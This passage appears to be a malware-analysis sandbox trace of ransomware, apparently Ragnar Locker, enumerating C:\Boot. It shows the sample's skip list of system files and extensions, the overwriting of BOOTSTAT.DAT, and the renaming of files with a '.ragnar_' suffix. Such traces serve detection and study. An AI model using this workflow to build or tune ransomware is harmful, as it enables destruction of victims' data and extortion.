returned="\\\\?\\C:\\Boot\\BCD.LOG.ragnar_FD7BD9FC" [0047.836] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG.ragnar_FD7BD9FC" (normalized: "c:\\boot\\bcd.log.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.836] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0047.836] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.836] lstrcpyW (in: lpString1=0x1ed660, lpString2="BCD.LOG1" | out: lpString1="BCD.LOG1") returned="BCD.LOG1" [0047.836] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\BCD.LOG1") returned=".LOG1" [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="autorun.inf") returned 1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="boot.ini") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootfont.bin") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootsect.bak") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootmgr") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootmgr.efi") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootmgfw.efi") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="desktop.ini") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="iconcache.db") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntldr") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.dat") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.dat.log") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.ini") returned -1 [0047.836] lstrcmpiW (lpString1="BCD.LOG1", lpString2="thumbs.db") returned -1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".db") returned 1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".sys") returned -1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".dll") returned 1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".lnk") returned 1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".msi") returned -1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".drv") returned 1 [0047.836] lstrcmpiW (lpString1=".LOG1", lpString2=".exe") returned 1 [0047.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1")) returned 0x26 [0047.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0047.849] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ed004 | out: lpFileSize=0x1ed004*=0) returned 1 [0047.849] CloseHandle (hObject=0xf4) returned 1 [0047.849] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0047.849] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.849] lstrcpyW (in: lpString1=0x1ed660, lpString2="BCD.LOG2" | out: lpString1="BCD.LOG2") returned="BCD.LOG2" [0047.849] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\BCD.LOG2") returned=".LOG2" [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="autorun.inf") returned 1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="boot.ini") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootfont.bin") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootsect.bak") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootmgr") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootmgr.efi") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootmgfw.efi") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="desktop.ini") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="iconcache.db") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntldr") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.dat") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.dat.log") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.ini") returned -1 [0047.849] lstrcmpiW (lpString1="BCD.LOG2", lpString2="thumbs.db") returned -1 [0047.849] lstrcmpiW (lpString1=".LOG2", lpString2=".db") returned 1 [0047.849] lstrcmpiW (lpString1=".LOG2", lpString2=".sys") returned -1 [0047.850] lstrcmpiW (lpString1=".LOG2", lpString2=".dll") returned 1 [0047.850] lstrcmpiW (lpString1=".LOG2", lpString2=".lnk") returned 1 [0047.850] lstrcmpiW (lpString1=".LOG2", lpString2=".msi") returned -1 [0047.850] lstrcmpiW (lpString1=".LOG2", lpString2=".drv") returned 1 [0047.850] lstrcmpiW (lpString1=".LOG2", lpString2=".exe") returned 1 [0047.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2")) returned 0x26 [0047.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0047.850] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ed004 | out: lpFileSize=0x1ed004*=0) returned 1 [0047.850] CloseHandle (hObject=0xf4) returned 1 [0047.850] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0047.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.850] lstrcpyW (in: lpString1=0x1ed660, lpString2="BOOTSTAT.DAT" | out: lpString1="BOOTSTAT.DAT") returned="BOOTSTAT.DAT" [0047.850] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="autorun.inf") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="boot.ini") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootfont.bin") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootsect.bak") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootmgr") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootmgr.efi") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootmgfw.efi") returned 1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="desktop.ini") returned -1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="iconcache.db") returned -1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntldr") returned -1 [0047.850] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.dat") returned -1 [0047.851] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.dat.log") returned -1 [0047.851] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.ini") returned -1 [0047.851] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="thumbs.db") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".db") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".sys") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".dll") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".lnk") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".msi") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".drv") returned -1 [0047.851] lstrcmpiW (lpString1=".DAT", lpString2=".exe") returned -1 [0047.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0047.851] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0047.851] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ed004 | out: lpFileSize=0x1ed004*=65536) returned 1 [0047.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfff7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.851] GetProcessHeap () returned 0x580000 [0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0047.851] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ecfc8, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ecfc8*=0x9, lpOverlapped=0x0) returned 1 [0047.853] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0047.853] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.853] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ecfdc | out: lpNewFilePointer=0x0) returned 1 [0047.853] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x1ecfbc, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ecfbc*=0x10000, lpOverlapped=0x0) returned 1 [0047.855] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ecfc0 | out: lpNewFilePointer=0x0) returned 1 [0047.856] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10000, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.856] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x1ecfb8, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ecfb8*=0x10000, lpOverlapped=0x0) returned 1 [0047.856] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.856] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0047.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.857] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.857] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ecfec, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ecfec*=0x100, lpOverlapped=0x0) returned 1 [0047.857] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ecfec, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ecfec*=0x100, lpOverlapped=0x0) returned 1 [0047.857] WriteFile (in: hFile=0xf4, lpBuffer=0x1ecff0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ecfec, lpOverlapped=0x0 | out: lpBuffer=0x1ecff0*, lpNumberOfBytesWritten=0x1ecfec*=0x9, lpOverlapped=0x0) returned 1 [0047.857] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.857] GetProcessHeap () returned 0x580000 [0047.857] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0047.857] CloseHandle (hObject=0xf4) returned 1 [0047.860] lstrcpyW (in: lpString1=0x1ecb68, lpString2="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" | out: lpString1="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" [0047.860] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.ragnar_FD7BD9FC" [0047.860] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.ragnar_FD7BD9FC" (normalized: "c:\\boot\\bootstat.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e65e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6aa480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e742a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e827240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.861] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0047.861] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.861] lstrcpyW (in: lpString1=0x1ed660, lpString2="memtest.exe" | out: lpString1="memtest.exe") returned="memtest.exe" [0047.861] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\memtest.exe") returned=".exe" [0047.861] lstrcmpiW (lpString1="memtest.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.861] lstrcmpiW (lpString1="memtest.exe", lpString2="autorun.inf") returned 1 [0047.861] lstrcmpiW (lpString1="memtest.exe", lpString2="boot.ini") returned 1 [0047.861] lstrcmpiW (lpString1="memtest.exe", lpString2="bootfont.bin") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="bootsect.bak") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="bootmgr") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="bootmgr.efi") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="bootmgfw.efi") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="desktop.ini") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="iconcache.db") returned 1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="ntldr") returned -1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.dat") returned -1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.dat.log") returned -1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.ini") returned -1 [0047.862] lstrcmpiW (lpString1="memtest.exe", lpString2="thumbs.db") returned -1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0047.862] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, 